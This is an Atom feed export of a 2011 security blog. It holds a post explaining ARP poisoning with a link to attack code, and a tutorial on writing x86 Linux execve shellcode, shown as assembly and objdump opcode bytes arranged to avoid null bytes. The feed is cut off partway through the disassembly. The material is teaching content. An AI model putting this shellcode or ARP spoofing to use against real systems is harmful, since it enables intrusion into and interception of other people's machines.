<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1361024724213312909</id><updated>2011-12-01T06:38:53.361-08:00</updated><category term='shellcode'/><category term='IDS'/><category term='IPS'/><title type='text'>Intrusion Alert</title><subtitle type='html'>If your enemy is secure at all points, be prepared for him. If he is in superior strength, evade him. If your opponent is temperamental, seek to irritate him. Pretend to be weak, that he may grow arrogant. If he is taking his ease, give him no rest. If his forces are united, separate them. If sovereign and subject are in accord, put division between them. Attack him where he is unprepared, appear where you are not expected.
- Sun Tzu, the Art of War</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-2576357545818882039</id><published>2011-10-26T04:51:00.000-07:00</published><updated>2011-10-26T04:51:09.129-07:00</updated><title type='text'>ARP Poisoning</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="background-color: black; color: white;"&gt;&lt;span style="font-family: 'Times New Roman',Times,serif; font-size: small;"&gt;&lt;span style="font-family: Arial,Geneva,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; In Ethernet network if hostA wants to communicate with hostB than hostA should know the MAC address of hostB. &lt;/span&gt;&lt;span style="font-family: Arial,Geneva,sans-serif;"&gt;The ip address of every system is mapped on to its corresponding MAC address. This mapping is done with the help of ARP.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Times New Roman',Times,serif; font-size: small;"&gt;&lt;span style="font-family: Arial,Geneva,sans-serif;"&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  When an ip address is to be resolved into MAC address, ARP first checks  ARP cache if the MAC address of the specific ip address exists or not.  If exists it sends a packet to the destination. If not ARP sends a  request packet to find the MAC address, this request packet consists of  source MAC and ip addresses and destination ip address. And this request  packet is broadcasted in the network. If there exists a host with the  specified ip address than it replies back to source with its MAC  address. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: 'Times New Roman',Times,serif; font-size: small;"&gt;&lt;span style="font-family: Arial,Geneva,sans-serif;"&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The only problem with arp is it is a stateless  protocol. so it doesn't remember even if it had requested for mac of any  ip address or not, so when ever a gratituous arp reply arrives it just  updates the arp cache without further checking if its genuine. so arp  poisoning can be easily done. ARP poisoning is sometimes the starting  point for more sophisticated lan attacks like denial of service, man in  the middle and session hijacking. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The following is the code for ARP poisoning, it helps you in finding out how the attack can be practically implemented.&lt;a href="http://ethicalhack.tech.officelive.com/Documents/JARP.zip" target="_blank"&gt;click here&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Arial,Geneva,sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-2576357545818882039?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/2576357545818882039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=2576357545818882039&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/2576357545818882039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/2576357545818882039'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2011/10/arp-poisoning.html' title='ARP Poisoning'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-128228545696954853</id><published>2011-03-19T09:17:00.000-07:00</published><updated>2011-03-19T09:17:54.173-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Shell Code revisited</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This post gives brief description on how to write assembly code, so that we can obtain a flexible shell code from that. &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;The following is the re-written assembly code:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;#shellCode.s&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;#Here we are using relative addressing &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;.text&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;.globl _start&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;_start:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp CallStmt #jump to the preocedure mentioned&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Shellcode:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; popl %esi&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xorl %eax, %eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # initializing value of eax to 0&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; movb %al, 0x7(%esi)&amp;nbsp; # making A of string to 0&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl %esi, 0x8(%esi)&amp;nbsp; # placing the address of starting of string into BBBB &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl %eax, 0xc(%esi)&amp;nbsp; #placing 0000 in the place of CCCC&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movb $11, %al&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #11 is system call no. for execve&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl %esi, %ebx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;leal 0x8(%esi), %ecx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;leal 0xc(%esi), %edx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int $0x80&amp;nbsp; #call interrupt&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;CallStmt:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call Shellcode&amp;nbsp; # push the address of shellvar into stack&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shellvar:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .ascii "/bin/shABBBBCCCC" &amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;In the above shell code the string (shellvar) plays the key role. The jmp statement in the starting would start executing the CallStmt procedure, the "call Shellcode" would push the address of next statement( i.e address of starting of string) into the stack and start executing Shellcode procedure, we obtain this address into %esi, by issuing popl %esi, now we manipulate the string as follows&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Initial String: "\bin\shABBBBCCCC"&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;A should represent end of string ( so A should be replaced by 0)&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;BBBB contains the address of start of string ( so %esi should be placed in BBBB)&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;CCCC contains NULL (0000 or environment pointer) &amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;The %esp (containing address of string ) would act as first argument,&amp;nbsp; similarly the address in BBBB acts as&amp;nbsp; second pointer and NULL in CCCC acts as third argument to execve. Here we are making at most use of bit spaces in order to avoid null characters in our shell code. And the rest of the assembly code is self &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;explainatory. &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp; The following is the shell code that we had obtained from the above assembly code, by using the objdump tool.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;manoj@manoj-laptop:~/Desktop/blog$ objdump -d ./shell&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;shell:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file format elf32-i386&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Disassembly of section .text:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;08048054 &amp;lt;_start&amp;gt;:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048054:&amp;nbsp;&amp;nbsp; &amp;nbsp;eb 18&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; 804806e &lt;callstmt&gt;&lt;/callstmt&gt;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;08048056 &lt;shellcode&gt;:&lt;/shellcode&gt;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048056:&amp;nbsp;&amp;nbsp; &amp;nbsp;5e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; %esi&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048057:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 c0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,%eax&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048059:&amp;nbsp;&amp;nbsp; &amp;nbsp;88 46 07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %al,0x7(%esi)&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804805c:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 76 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %esi,0x8(%esi)&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804805f:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 46 0c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,0xc(%esi)&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048062:&amp;nbsp;&amp;nbsp; &amp;nbsp;b0 0b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0xb,%al&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048064:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 f3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %esi,%ebx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048066:&amp;nbsp;&amp;nbsp; &amp;nbsp;8d 4e 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lea &amp;nbsp;&amp;nbsp; 0x8(%esi),%ecx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048069:&amp;nbsp;&amp;nbsp; &amp;nbsp;8d 56 0c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lea &amp;nbsp;&amp;nbsp; 0xc(%esi),%edx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804806c:&amp;nbsp;&amp;nbsp; &amp;nbsp;cd 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;0804806e &lt;callstmt&gt;:&lt;/callstmt&gt;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804806e:&amp;nbsp;&amp;nbsp; &amp;nbsp;e8 e3 ff ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; 8048056 &lt;shellcode&gt;&lt;/shellcode&gt;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;08048073 &lt;shellvar&gt;:&lt;/shellvar&gt;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048073:&amp;nbsp;&amp;nbsp; &amp;nbsp;2f&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;das&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048074:&amp;nbsp;&amp;nbsp; &amp;nbsp;62 69 6e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;bound&amp;nbsp; %ebp,0x6e(%ecx)&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048077:&amp;nbsp;&amp;nbsp; &amp;nbsp;2f&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;das&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048078:&amp;nbsp;&amp;nbsp; &amp;nbsp;73 68&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;jae&amp;nbsp;&amp;nbsp;&amp;nbsp; 80480e2 &lt;shellvar+0x6f&gt;&lt;/shellvar+0x6f&gt;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804807a:&amp;nbsp;&amp;nbsp; &amp;nbsp;41&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %ecx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" 